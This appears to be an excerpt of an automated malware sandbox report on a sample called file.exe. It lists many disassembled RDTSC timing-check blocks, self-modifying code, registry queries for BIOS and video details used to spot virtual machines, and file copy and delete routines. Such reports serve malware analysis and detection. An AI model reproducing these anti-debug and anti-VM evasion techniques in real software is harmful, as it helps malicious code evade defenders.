                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFB9CF second address: AFB9DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFB9DF second address: AFB9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFB9E5 second address: AFB9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFB9EA second address: AFBA1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFD08D54406h 0x00000008 jmp 00007EFD08D54405h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFBA1C second address: AFBA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFBCFC second address: AFBD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007EFD08D54409h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFBE6B second address: AFBE6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFBFA7 second address: AFBFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFC12E second address: AFC139 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFC43D second address: AFC443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFC443 second address: AFC499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007EFD08B70876h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007EFD08B70885h 0x00000011 jmp 00007EFD08B7087Ch 0x00000016 pop ecx 0x00000017 jp 00007EFD08B7087Ch 0x0000001d popad 0x0000001e pushad 0x0000001f pushad 0x00000020 jmp 00007EFD08B70887h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFC499 second address: AFC4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFD08D54404h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFD43A second address: AFD45E instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFD08B70878h 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007EFD08B70878h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 js 00007EFD08B70888h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jne 00007EFD08B70876h 0x00000022 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B0311F second address: B03143 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007EFD08D543F6h 0x00000014 popad 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B02B3E second address: B02B4D instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFD08B70878h 0x00000008 push edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B02B4D second address: B02B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B06210 second address: B06216 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B078B3 second address: B078C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D543FFh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B168D4 second address: B168E5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFD08B70876h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B1BE08 second address: B1BE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B1BE15 second address: B1BE4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jng 00007EFD08B70876h 0x0000000f pop ecx 0x00000010 jmp 00007EFD08B70882h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007EFD08B70882h 0x0000001e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B1BE4C second address: B1BE51 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B24270 second address: B2429C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70881h 0x00000007 jng 00007EFD08B70882h 0x0000000d jmp 00007EFD08B7087Ch 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2429C second address: B242A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B242A0 second address: B242AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007EFD08B7087Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2740A second address: B2740E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2740E second address: B27412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2AF09 second address: B2AF15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007EFD08D543F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2AF15 second address: B2AF19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2AF19 second address: B2AF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2F808 second address: B2F827 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007EFD08B70884h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2F827 second address: B2F836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2F836 second address: B2F84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B7087Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2F84B second address: B2F85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007EFD08D543F6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2F85A second address: B2F86A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 je 00007EFD08B70876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B2F86A second address: B2F87A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007EFD08D543F6h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B360A7 second address: B360AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3621E second address: B36222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B36222 second address: B3623E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007EFD08B7087Eh 0x0000000c ja 00007EFD08B70876h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jo 00007EFD08B7087Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3623E second address: B36254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007EFD08D543F8h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007EFD08D543F6h 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B36254 second address: B3625E instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFD08B70876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B363A2 second address: B363A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B363A6 second address: B363B2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFD08B70876h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B363B2 second address: B363CF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFD08D543F8h 0x00000008 je 00007EFD08D543F8h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B363CF second address: B363D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B363D6 second address: B363EC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFD08D543FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007EFD08D543F6h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B363EC second address: B363F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3651A second address: B3651E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3651E second address: B36573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007EFD08B70883h 0x0000000d push esi 0x0000000e jmp 00007EFD08B7087Dh 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 pushad 0x00000017 jmp 00007EFD08B7087Dh 0x0000001c jnl 00007EFD08B70876h 0x00000022 jmp 00007EFD08B7087Ah 0x00000027 popad 0x00000028 popad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c jg 00007EFD08B70876h 0x00000032 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B36573 second address: B36581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007EFD08D543FEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B36581 second address: B365A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007EFD08B70888h 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3A287 second address: B3A29C instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFD08D543F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007EFD08D5440Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3A29C second address: B3A2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B70881h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3A2B1 second address: B3A2CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007EFD08D543FFh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B41481 second address: B41489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B41489 second address: B4148F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B4148F second address: B4149C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B4149C second address: B414A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B414A0 second address: B414C0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFD08B70876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFD08B7087Eh 0x00000011 jne 00007EFD08B70876h 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B42EA3 second address: B42EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007EFD08D543F6h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B42EAD second address: B42EB7 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFD08B70876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B42EB7 second address: B42EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B42EC0 second address: B42ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B42ECD second address: B42ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B4B788 second address: B4B78E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B4B78E second address: B4B7B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007EFD08D543F8h 0x00000010 jbe 00007EFD08D543FEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B45A0D second address: B45A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B45A11 second address: B45A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B45A15 second address: B45A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B70885h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007EFD08B70878h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B58940 second address: B58952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007EFD08D543F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B686A3 second address: B686B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFD08B70876h 0x0000000a jc 00007EFD08B70876h 0x00000010 popad 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B675E2 second address: B67600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFD08D54408h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B67600 second address: B67604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B67604 second address: B67610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B6778D second address: B6779C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jg 00007EFD092B0356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B6790E second address: B6791E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007EFD08517BF6h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B67A6E second address: B67A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B67A73 second address: B67A7A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B6B1EB second address: B6B1F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B6B4DB second address: B6B4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B6B4E0 second address: B6B4E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D30480 second address: 4D304B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08517C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007EFD08517C04h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D304B3 second address: 4D3052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007EFD092B0361h 0x0000000b sbb cl, FFFFFF86h 0x0000000e jmp 00007EFD092B0361h 0x00000013 popfd 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 movsx ebx, cx 0x0000001a mov di, si 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 mov di, cx 0x00000023 mov edx, esi 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007EFD092B0364h 0x0000002f or ax, 6788h 0x00000034 jmp 00007EFD092B035Bh 0x00000039 popfd 0x0000003a popad 0x0000003b pop ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007EFD092B0360h 0x00000043 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D3056F second address: 4D30575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D30575 second address: 4D30593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f movzx esi, di 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ebx, 3AD51108h 0x0000001d popad 0x0000001e rdtsc
                Tries to evade debugger and weak emulator (self modifying code)
                Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: A7E1B3 instructions caused by: Self-modifying code
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
                Source: C:\Users\user\Desktop\file.exeEvaded block: after key decisiongraph_0-39051
                Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006040F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,0_2_006040F0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,0_2_005FE530
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005F1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_005F1710
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006047C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,0_2_006047C0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_005FF7B0
